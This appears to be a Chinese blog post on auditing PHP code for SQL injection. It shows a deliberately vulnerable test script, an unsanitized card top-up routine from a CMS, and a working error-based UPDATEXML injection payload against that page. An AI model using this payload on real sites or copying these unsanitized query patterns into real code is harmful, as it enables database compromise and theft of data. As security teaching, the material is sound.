标签：normal style color apple 审计
SQL注入攻击（SQL Injection），简称注入攻击，是Web开发中最常见的一种安全漏洞。可以用它来从数据库获取敏感信息，或者利用数据库的特性执行添加用户，导出文件等一系列恶意操作，甚至有可能获取数据库乃至系统用户最高权限。
而造成SQL注入的原因是因为程序没有有效过滤用户的输入，使攻击者成功的向服务器提交恶意的SQL查询代码，程序在接收后错误的将攻击者的输入作为查询语句的一部分执行，导致原始的查询逻辑被改变，额外的执行了攻击者精心构造的恶意代码。
很多Web开发者没有意识到SQL查询是可以被篡改的，从而把SQL查询当作可信任的命令。殊不知，SQL查询是可以绕开访问控制，从而绕过身份验证和权限检查的。更有甚者，有可能通过SQL查询去运行主机系统级的命令。
下面将通过一些真实的例子来详细讲解SQL注入的方式。
测试代码如下：
<?php$uid=$_GET[‘id‘];$sql="SELECT * FROM userinfo where id=$uid";$conn=mysql_connect (‘localhost‘,‘root‘,‘root‘);mysql_select_db("sql",$conn);$result=mysql_query($sql,$conn);print_r(‘当前SQL语句: ‘.$sql.‘
结果: ‘);print_r(mysql_fetch_row($result));?>
$uid=$_GET[‘id‘]; //获取GET值
$sql="SELECT * FROM userinfo where id=$uid"; //执行SQL语句
$conn=mysql_connect (‘localhost‘,‘root‘,‘root‘);mysql_select_db("sql",$conn); //数据库配配置
$result=mysql_query($sql,$conn); //进行查询SQL语句
print_r(‘当前SQL语句: ‘.$sql.‘
结果: ‘);print_r(mysql_fetch_row($result)); //进行打印输出没有任何的过滤所以利用简单的SQL注入语句就可以直接查询相关需要的信息。
if(empty($_SESSION[‘duomi_user_id‘])){showMsg("请先登录","login.php");exit();}elseif($dm==‘mypay‘){$key=$_POST[‘cardkey‘];if($key==""){showMsg("请输入充值卡号","-1");exit;}$pwd=$_POST[‘cardpwd‘];if($pwd==""){showMsg("请输入充值卡密码","-1");exit;}$sqlt="SELECT * FROM duomi_card where ckey=‘$key‘";$sqlt="SELECT * FROM duomi_card where cpwd=‘$pwd‘";$row1 = $dsql->GetOne($sqlt);if(!is_array($row1) OR $row1[‘status‘]<>0){showMsg("充值卡信息有误","-1");exit;}else{$uname=$_SESSION[‘duomi_user_name‘];$points=$row1[‘climit‘];$dsql->executeNoneQuery("UPDATE duomi_card SET usetime=NOW(),uname=‘$uname‘,status=‘1‘ WHERE ckey=‘$key‘");$dsql->executeNoneQuery("UPDATE duomi_card SET usetime=NOW(),uname=‘$uname‘,status=‘1‘ WHERE cpwd=‘$pwd‘");$dsql->executeNoneQuery("UPDATE duomi_member SET points=points+$points WHERE username=‘$uname‘");showMsg("恭喜！充值成功！","mypay.php");exit;}}else{
http://localhost/member/mypay.php?dm=mypayPOST：cardpwd=-1‘ AND (UPDATEXML(1,CONCAT(0x7e,(USER()),0x7e),1)) and ‘1‘=‘1
标签：normal style color apple 审计
原文地址：http://jzking121.blog.51cto.com/5436671/1857103
